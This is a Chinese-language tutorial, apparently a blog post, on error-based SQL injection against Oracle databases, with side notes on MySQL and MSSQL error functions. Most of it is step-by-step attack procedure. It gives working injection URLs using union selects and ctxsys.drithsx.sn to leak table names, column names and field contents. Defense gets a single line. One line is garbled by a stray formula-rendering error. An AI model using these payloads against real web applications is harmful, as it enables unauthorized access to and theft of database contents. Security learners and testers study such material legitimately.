Oracle数据库--报错注入
SQL报错注入就是利用数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。dual 是Oracle库中特有的一个单行单列的虚拟表,Oracle中的一个实际存在的表,任何用户均可读取,常用在没有目标表的Select语句块中。Oracle中弱化了库的概念,用户被强化,即:通俗的讲一个用户一个库。利用子查询和别名,将数据的编号固定住,这样修改r的值即可取出对应的第几条数据。r=1取第
1.Oracle的常用语法(针对渗透的基本语法)
Dual表
Oracle查询语句的时候后面也必须带上表名称,不能像mysql和mssql一样直接select 1,2,3。但是Oracle存在着系统的表Dual,可以直接 select 1,2,3 from Dual
查询表名
select table_name from all_tables 查询出所有的表
select table_name from user_tables 查询出当前用户的表
查询字段
select table_name from all_tables 查询出所有的表
select table_name from user_tables 查询出当前用户的表
利用rownum实现limit效果
SELECT username FROM (SELECT ROWNUM r, username FROM all_users) WHERE r=1
利用子查询和别名,将数据的编号固定住,这样修改r的值即可取出对应的第几条数据。r=1取第一条数据,r=2取第二条数据。
CTXSYS.DRITHSX.SN函数
CTXSYS.DRITHSX.SN(user,(select banner from vKaTeX parse error: Expected group after '_' at position 150: …nner from sys.v_̲version where rownum=1))— 查询数据库版本
2.报错注入的原理
SQL报错注入就是利用数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。这种手段在联合查询受限且能返回错误信息的情况下比较好用。报错注入在各数据库中都存在!
a.MYSQL报错注入常用函数
1.concat()函数
concat(str1, str2,…)将多个字符串连接成一个字符串。
2.extractvalue()函数
extractvalue()函数是指使用xpath符号从xml字符串中提取值
使用形式为extractvalue(xml_target,XPath_string)
3.updatexml()函数
updatexml(目标xml文件,xml文档路径,更新内容)
在我的“SQL注入大乱炖”中HEAD注入使用的就是报错注入
b.MSSQL(SQL SEVER)报错注入常用函数
1.convert() 函数是把日期转换为新数据类型的通用函数。
convert(int,db_name()),含义是将第二个参数的值转换成第一个参数的int类型。利用MSSQL在转换类型的时候就出错,来爆数据库信息。
2.quotename() 函数默认在要处理的参数左右加上两个中括号,起到分隔符的作用,避免出现sql关键字异常。
quotename(name),给查询出的多个表名、列名加入中括号,或者其他符号为分隔符,进行分割,可使SQL注入结果更清晰。
3.for xml path(’’)提供查询返回的结果为xml格式,此时返回的相当于一个字符串。
将查询到的数据,通过xml进行显示,path指定xml元素结点(行节点),该语句可以将查询到的所有数据通过XML进行显示。
4.stuff()函数将表中列的内容横向输出。
stuff(param1, startIndex, length, param2),将param1中自startIndex(SQL中都是从1开始,而非0)起,删除length个字符,然后用param2替换删掉的字符。
c.ORACLE报错注入常用函数
CTXSYS.DRITHSX.SN函数
CTXSYS.DRITHSX.SN(user,(SQL查询语句))
去查询关于主题的对应关键词,然后因为查询失败(应该是这个用户没有创建和查询的权限,默认情况没有创建,爆出未查询到的错误从而爆出查询的内容)
3.不同数据库实现limit
limit 是MYsql中独有的功能,对数据进行分页输出
a.MSSQL使用 TOP
例如:
SELECT TOP 1 * FROM 表名 ORDER BY 列名 desc
SELECT TOP N * FROM 表名 ORDER BY 列名 desc
升序是SC,降序是DESC
b.ORACLE使用rownum
例如:
SELECT username FROM (SELECT ROWNUM r, username FROM all_users) WHERE r=1
利用子查询和别名,将数据的编号固定住,这样修改r的值即可取出对应的第几条数据。r=1取第一条数据,r=2取第二条数据。
4.注入步骤
a.判断是否存在注入
select *from news where id='1' and 1=1/1=2 --s1
b.判断字段数
select *from news where id='1' order by 1 --s2
递增字段总数直至页面报错
c.判断显错位
为了更加严谨,填充位用null,MYSQL中使用数字填充
select *from news where id='1' union select null,null,null from dual --s2
dual 是Oracle库中特有的一个单行单列的虚拟表,Oracle中的一个实际存在的表,任何用户均可读取,常用在没有目标表的Select语句块中。
使用数字或者是字符替换null来判断字段类型。
d.查表名
这里不需要像SQL注入按照库.表.字段的查看字段内容。Oracle中弱化了库的概念,用户被强化,即:通俗的讲一个用户一个库
?id=1' union all select null,null,to_nclob(table_name) from user_tables-- s3
no_nclob(table_name)是将table_name转变为二进制
使用报错函数的方法:
?id=1' and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1)) -- s4
e.查字段名
--常规方法
?id=1\' union all select null,null,to_nclob(column_name) from user_tab_columns-- s5
(这里的\是为了不让它和下一个语句的单引号闭合)
--报错函数
?id=1' and 1=ctxsys.drithsx.sn(1,(select column_name from user_tab_columns where rownum=1)) -- s6
f.查看字段内容
--常规方法
?id=1\' union all select null,null,to_nclob(字段名) from ADMIN-- s7
(这里的\是为了不让它和下一个语句的单引号闭合)
--报错函数
?id=1' and 1=ctxsys.drithsx.sn(1,(select 字段名 from 表名)) -- s8
5.防御方法
a.过滤掉危险字符和函数 或对其进行编码
更多推荐
所有评论(0)